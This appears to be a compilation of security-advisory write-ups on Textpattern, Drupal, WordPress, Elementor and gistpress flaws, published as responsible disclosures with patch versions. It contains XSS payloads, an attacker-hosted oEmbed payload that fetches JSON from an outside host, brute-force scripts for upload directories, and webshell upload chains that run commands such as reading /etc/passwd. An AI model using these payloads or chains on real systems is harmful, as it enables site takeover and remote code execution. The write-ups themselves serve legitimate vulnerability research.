As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7. Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites. In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click. Finding the Vulnerability The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality. The following shows the HTTP request used to confirm the preview was vulnerable: GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1 Host: 192.168.127.128 Cookie: […] Valid Cookie is Added By the Victim’s Browser […] Connection: close By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link. When decoded, the HTML payload was as shown below: This included a new “img” tag which executed a popup message when viewed in a browser: An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated. If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “_txp_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following: To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “_txp_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell: The above payload could be delivered using a link with the techniques demonstrated below: /textpattern/index.php?Body=&app_mode=async&view=preview The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above. After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter: This confirmed that exploitation had occurred. Risk Analysis Risk Category: HighCVSS: 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HExplanation: In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click. Recommendation To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here. Affected Item(s) Textpattern version 4.8.7

A Cross-Site Request Forgery vulnerability existed in the “interface translation” core module that could be abused to trick a victim into creating arbitrary directories on the server. With the directory path information and a reasonable estimate of the installation time of the site, a remote, unauthenticated attacker could create a state that allowed for the execution of arbitrary code on a Drupal 8 or 9 installation. Affected versions: Drupal < 8.8.8 Drupal < 8.9.1 Drupal < 9.0.1 Drupal 7.x was not vulnerable. ** Update ** As suggested by @julianpentest, the use of the “Last-Modified” HTTP header can provide a very reasonable guess of the installation time of a site. Using a list of known files will help narrow down the required value to a small set, which could significantly reduce the time required for the brute forcing. Requirements  The attack works best against Windows, even though it is theoretically possible against Linux. The requirements for the attack to succeed are: Knowledge of the site installation time. The value can be approximated based on public knowledge, for example by monitoring changes to the site and correlating recent releases of Drupal, and subsequently brute-forced to find the exact value. Ability to create a directory in a specific location in the document root. For this demonstration, this was achieved via a Cross-Site Request Forgery attack by enticing an administrative user to view a malicious web page while logged on the site. This CSRF attack only works if the site has the “interface translation” module installed. Other methods may exist to create arbitrary directories on a Drupal site with less stringent requirements. An attacker able to satisfy these requirements would be able to set up a “test site” on a live Drupal Windows installation and write arbitrary content to the root of the web server, ultimately achieving remote code execution. While the previous requirements are sufficient against a Windows installation, for the attack to be feasible against Linux the requirements vary slightly: Knowledge of the following properties of the file “bootstrap.inc”: – change time (not creation time) – inode number Ability to create a directory as above   The inode value is sequential; even though it could be estimated based on the inode number of other files, it would significantly increase the time required for brute-forcing. This makes Linux systems harder to attack. Root Cause  To determine whether a request is meant for a “test site”, Drupal inspects the value of every request’s “User-Agent” HTTP header against a pseudo-random value calculated by combining various sources of entropy. This code snippet taken from the file “boostrap.inc” demonstrates the problem: function drupal_valid_test_ua($new_prefix = NULL) { […] $key_file = DRUPAL_ROOT . ‘/’ . $test_db->getTestSitePath() . ‘/.htkey’; if (!is_readable($key_file)) { header($_SERVER[‘SERVER_PROTOCOL’] . ‘ 403 Forbidden’); exit; } $private_key = file_get_contents($key_file); // The file properties add more entropy not easily accessible to others. $key = $private_key . filectime(__FILE__) . fileinode(__FILE__); […] As the code shows, the “key” is calculated by concatenating: The content of a “.htkey” file contained in a specific path (more on this later) The creation time and inode of the file “boostrap.inc” The problems with this approach were: If the file “.htkey” was to be a directory, file_get_contents() would return an empty string Microsoft Windows has no concept of inode number (although there’s file id on NTFS, but that is not relevant at the moment); this value is set by PHP to 0 When a user accesses a site for the first time, Drupal would present them with a friendly interface to set it up as a new installation. This includes creating an administrative user and asking the user for details of the database to connect to. By creating a directory in a carefully chosen path and by guessing the creation time of “boostrap.inc”, an attacker could trick Drupal into believing certain requests were meant for a “test site” by submitting carefully crafted “User-Agent” strings. Because the test site would not have been configured, an attacker would then be able to point the new site to an external database (under their control) to use as back-end. Then, by inserting a malicious payload in the database and visiting a specific page on the newly installed malicious site, the attacker could trigger a deserialisation vulnerability that would ultimately write arbitrary content on disk, thus allowing full system-level access to the underlying server with the same privilege level as the user running the web server. None of the above would disrupt the actual site, as the malicious test site would only be accessible with the correct “User-Agent” string. To sum up, the attack consisted in the following steps: Creation of a directory in the document root (via cross-Site Request Forgery or other means) Brute-forcing the timestamp of the “boostrap.inc” file via custom “User-Agent” strings Installation of a hidden “test site” using an attacker-controlled database as back-end Injection of a de-serialisation payload in the database and request of a specific page, triggering the creation of arbitrary content on the root of the web server Details on the “test site” header bypass The following code shows in more details how the check to determine whether the request was meant for a test site worked: […] if (isset($user_agent) && preg_match(“/^simple(w+d+):(.+):(.+):(.+)$/”, $user_agent, $matches)) { list(, $prefix, $time, $salt, $hmac) = $matches; $check_string = $prefix . ‘:’ . $time . ‘:’ . $salt; […] $test_hmac = Crypt::hmacBase64($check_string, $key); if ($time_diff >= 0 && $time_diff <= 600 && hash_equals($test_hmac, $hmac)) { // it’s a test site […] As the bottom two lines of the snippet show, the final test passes if the two values “test_hmac” and “hmac” are identical (ignoring the “time_diff” comparison for now). The first one “test_hmac” is calculated by applying the “hmacBase64” function to “check_string” and “key”;  this value must match the second one “hmac” which is taken from the user-agent string. Let us dig into how “test_hmac” is made first by using the following “User-Agent” header as an example: User-Agent: simpletest5:ts:salt:bTEL6q4[…]p226Q The header value is composed of four parts: A prefix

A long-lived XSS vulnerability was patched in WordPress 5.4.2. It allowed any authenticated user, with privileges to create or edit a post, to embed arbitrary JavaScript within the post. When the post was later viewed the code executed in the context of the site. Here is a video demonstrating the issue: Full Technical Details The embedding functionality will fetch HTML from a user supplied URL and attempt to embed it securely within the target site. This is done by only allowing the embedded HTML to contain a limited set of tags (iframe and blockquote) and strictly limiting the attributes allowed on these elements. Root Cause The vulnerability occurs due to a filter function “wp_filter_oembed_iframe_title_attribute”, this was run after other sanitisation has taken place: function wp_filter_oembed_iframe_title_attribute( $result, $data, $url ) { if ( false === $result || ! in_array( $data->type, array( 'rich', 'video' ) ) ) { return $result; } $title = ! empty( $data->title ) ? $data->title : ''; $pattern = '`<iframe[^>]*?title=(\\'|\\"|['"])([^>]*?)1`i'; $has_itle_attr = preg_match( $pattern, $result, $matches ); if ( $has_title_attr && ! empty( $matches[2] ) ) { $title = $matches[2]; } /** * Filters the title attribute of the given oEmbed HTML iframe. * * @since 5.2.0 * * @param string $title The title attribute. * @param string $result The oEmbed HTML result. * @param object $data A data object result from an oEmbed provider. * @param string $url The URL of the content to be embedded. */ $title = apply_filters( 'oembed_iframe_title_attribute', $title, $result, $data, $url ); if ( '' === $title ) { return $result; } if ( $has_title_attr ) { // Remove the old title, $matches[1]: quote, $matches[2]: title attribute value. $result = str_replace( ' title=' . $matches[1] . $matches[2] . $matches[1], '', $result ); } return str_ireplace( '<iframe ', sprintf( '<iframe title="%s" ', esc_attr( $title ) ), $result ); This function looks for the title attribute of the first (usually only) iframe element, then attempts to remove the value in the highlighted line. This can be abused to cause other attributes to exist on the iframe tag, by supplying html such as: <blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe> Here the two IFRAMEs have the following attributes: IFRAME 1 title width=” IFRAME 2 src noexist title Xxx height title= width ‘’ onload=’alert(123)’ When line 33 is executed, every occurrence of the string: title=’ width=”‘ will be removed. So: <blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe> will become <blockquote><iframe ></iframe></blockquote><iframe src='noexist' title='xxx' height=' ' onload='alert(123)'"></iframe> Which gives IFRAMEs the following attributes: IFRAME 1 IFRAME 2 src noexist title xxx height onload alert(123) The JavaScript added to the onload attribute was executed whenever this post is viewed. Impact The design of WordPress means XSS bugs are particularly impactful.  @g0blinResearch wrote an excellent article some years ago (https://g0blin.co.uk/xss-and-WordPress-the-aftermath/) describing the impact of XSS on WordPress. The payloads demonstrated within both still work today with some small modifications, meaning that provided an administrative user views our post we can take complete control of the site. Demonstration To exploit the issue an attacker needed to host two files on a web server under their control (the content of these files is shown later). For exploitation to work the victim server must be able to access the attacker’s web server to download the payload. Robust outbound controls on the server-side would prevent exploitation. However, enabling such security controls would prevent WordPress from embedding any URLs which is a practical necessity and is therefore rarely implemented. We created a payload based on the article above. This modified the plugin file to edit to “hello.php” which is present and accessible by default on all WordPress instances and made a few other minor alterations. That payload was encoded using https://eve.gd/2007/05/23/string-fromcharcode-encoder/ to avoid various escaping issues. In this demonstration we hosted “payload.htm” at payload.htm: <HTML> <HEAD> <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json"> </HEAD> </HTML> payload.json: { "type":"rich", "html":"<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='eval(String.fromCharCode(118,97,114,…))'"></iframe>" } Note: the full encoded payload has been truncated to avoid it being trivially weaponised before vulnerable sites can be updated. Now we login to the victim site as a user with at least contributor permissions and create a post which embeds our content: When an administrator subsequently reviews the post: Our payload is executed, and the file hello.php is modified to allow us to execute arbitrary system commands:

Introduction Elementor is an extremely popular WordPress plugin, with over 2,000,000 active installs according to builtwith.com. Our research focussed on the free version, we believe the issue described below also affected the paid for version. Elementor released a fix to this issue a day after we reported it. Details Elementor includes functionality which allows a sufficiently privileged user (WordPress role “Contributor” or above) to upload templates from their local file system for use in blog posts. We identified a flaw in the way this functionality was processing the uploaded file. By abusing this flaw, we found it was possible to upload an executable php shell and execute commands on the remote server. The vulnerable upload is shown below: Figure 1 – Import Templates as Contributor user A simple zip file was crafted which contained a php file inside a directory. The function “Source_Local::import_template” does not properly account for being supplied a .zip file containing unexpected subdirectories. The following shows the vulnerable ‘import_template’ function: /** * Import local template. * * Import template from a file. * * @since 1.0.0 * @access public * * @param string $name – The file name * @param string $path – The file path * * @return WP_Error|array An array of items on success, 'WP_Error' on failure. */ public function import_template( $name, $path ) {     if ( empty( $path ) ) {         return new WP_Error( 'file_error', 'Please upload a file to import' );     }     $items = [];     $file_extension = pathinfo( $name, PATHINFO_EXTENSION );     if ( 'zip' === $file_extension ) {         if ( ! class_exists( 'ZipArchive' ) ) {              return new WP_Error( 'zip_error', 'PHP Zip extension not loaded' );     }     $zip = new ZipArchive();     $wp_upload_dir = wp_upload_dir();     $temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR . '/' . uniqid();     $zip->open( $path );     $zip->extractTo( $temp_path );     $zip->close();     $file_names = array_diff( scandir( $temp_path ), [ '.', '..' ] );     foreach ( $file_names as $file_name ) {         $full_file_name = $temp_path . '/' . $file_name;         $import_result = $this->import_single_template( $full_file_name );         unlink( $full_file_name );         if ( is_wp_error( $import_result ) ) {              return $import_result;         }         $items[] = $import_result;    }    rmdir( $temp_path ); } else { $import_result = $this->import_single_template( $path ); if ( is_wp_error( $import_result ) ) { return $import_result; } $items[] = $import_result; } return $items; } The function will attempt to process any subdirectories as if they were a file, and then delete them without deleting the files contained within. This will cause the highlighted unlink and rmdir operations to fail. After an error for “Invalid file” is thrown, the directory remains in place with the php file within it as shown below: 5db2035c979f3 └──test     └── simple-backdoor.php 1 directory, 1 file $temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR . '/' . uniqid(); The parent directory is named from the PHP uniqid() function (shown above) which uses the date and time down to the millisecond represented as a hexadecimal string[1]. We can approximate this value using a simple script to output the time when we believe the directory was created. This approximation will match the value used in all but the last 5 characters. We can determine these characters by using a brute-force attack. This is trivial for an attacker with a maximum number of combinations of 1048576 directories to be tried. In our lab environment it took 4 hours to find the upload directory, sending 455000 requests. The process could be optimised by attempting to upload multiple times, as close together as possible, thus improving our chances of finding a directory quickly1 Figure 2 – Intruder successfully bruteforcing the last 5 characters of the directory name. After finding the directory name we can browse to the location of our simple-backdoor.php file, and execute commands on the server as shown below: Figure 3 – Executing cat /etc/passwd on the server The following video demonstrates a complete exploit against a test instance of WordPress with the plugin installed in our lab environment. We used GoBuster to efficiently brute-force the directory name. Scripts used in the video are included below. Timeline 28/10/19 Issue report.29/10/19 Fix issued. Tools BurpSimple Web Shell GoBuster  Scripts Generate our directory list ‘python2 gen.py ’ from itertools import product import sys def gen():     i = 0     while i < 16**5:         yield "{:05X}".format(i)         i+=1 with open('directories.txt', 'w') as dirlist:     for s in gen():         dirlist.write(sys.argv[1]+s.lower()+'n') d = sys.argv[1] Our script to send our request and output our uniqid value ‘python2 sendreq.py ’ This script was made purely for our instance and will not work with an SSL enabled instance. import time import socket import sys def uniqid(prefix = ''): return prefix + hex(int(time.time()))[2:10] + hex(int(time.time()*1000000) % 0x100000)[2:7] # Credit: https://www.onevgo.com/post/view?id=1527 def send_req(req): f = open(req, 'rb') req = f.read() f.close() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1' 8000)) #this is because we are hosting on localhost change this to target and port print uniqid() #first output is before req is sent s.send(req) print uniqid() #second output is after req is sent s.close() req = sys.argv[1] send_req(req) References [1] https://www.php.net/manual/en/function.uniqid.php

Background Cross-Site Scripting (XSS) is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data that is then later rendered back to a user. When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. Allowing them to carry out unauthorised actions within the privileges of the victim. Details The shortcode function of gistpress version 3.0.1 was vulnerable to XSS. This was due to insecure handling of the “id” value of the shortcode ultimately allowing an attacker to request unanticipated URLs. To replicate the finding please follow these steps: 1. Go to https://gist.github.com2. Create a new file called “anything.json” with the contents like the example as shown below and save it: {“description”:””,”public”:true,”created_at”:”2020-01-10T20:58:12.000Z”,”files”: [“mdStyles”],”owner”:”keithcurtis1″,”div”:”n”,”stylesheet”:”https://github.githubassets.com/assets/gist-embed- 7f347f16d50778e1160a7bd9d4550bad.css”} Note: this contained a simple JavaScript alert message as the payload which is inert and safe to use for replication. Also note: The filename must end in “.json” because gistpress automatically appends “.json” before requesting the file. 3. Once saved that file was accessible from the gist URL shown below: https://gist.github.com/cornerpirate/42a96c5f059796086340d39bfb63eff8 4. Obtain the “raw” link to that content using the button as shown below: Figure 1 – Raw button shown on gist UI5. This gave a URL like the one shown below: https://gist.githubusercontent.com/cornerpirate/42a96c5f059796086340d39bfb63eff8/raw/d50ef9e2acb4227fbaefb69ac5e513d16ee80d13/anything.json 6. Create a new blog post and add a shortcode similar to the one shown below: [gist id=’cornerpirate/42a96c5f059796086340d39bfb63eff8/raw/56dacb78320139aaedfefdfe62eb92aa2748a355/anything’] Note: this used the URL to the raw version of the file saved on gist but with the “.json” part omitted. Having followed the above steps as a contributor level user the injected JavaScript command will execute whenever the post is previewed or viewed as shown below: Figure 2 – XSS Confirmed This functionality can be exploited by a contributor user who can create blog posts. That is a low privileged user account and typically a higher privileged user will be required to approve the post. This can be used to affect a privilege escalation by using JavaScript to execute commands on WordPress within the privileges of the higher user. Risk AnalysisRisk Category: High CVSSv3.1 Score: 5.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C)Explanation: XSS can pose a significant risk. Due to the likely use for privilege escalation in WordPress the risk categorisation of “high” was believed to be appropriate. Recommendation In this case the solution is to add input validation to prevent invalid gist “id” values. There is an expected format for these ids. An example id is shown below: 42a96c5f059796086340d39bfb63eff8 The intended value contained only characters in the 0-9 and a-f character sets. Additionally, the length of the id was 32 characters long. Gistpress should be updated to validate the “id” value matching that standard before attempting to download content. This would prevent the vulnerability. Vendor Response The gistpress project lead responded positively to the disclosure and patched the project as per this update.  The key part of the update is illustrated in Figure 3: Figure 3 – Validation Added The patch worked by using “preg_replace” to remove any non-alphanumeric characters from the “id” parameter value. Advise was provided stating that data sanitisation is not the most secure approach. The preferred solution should halt processing of the request if the “id” format is invalid. However, the XSS attack appeared adequately mitigated because the payload relied on the presence of the forward slash (“/”) character. The vulnerability had been mitigated by version 3.0.2 of gistpress. Affected Item The affected item was: Gistpress shortcode handling of the “id” parameter. In version 3.0.1 and lower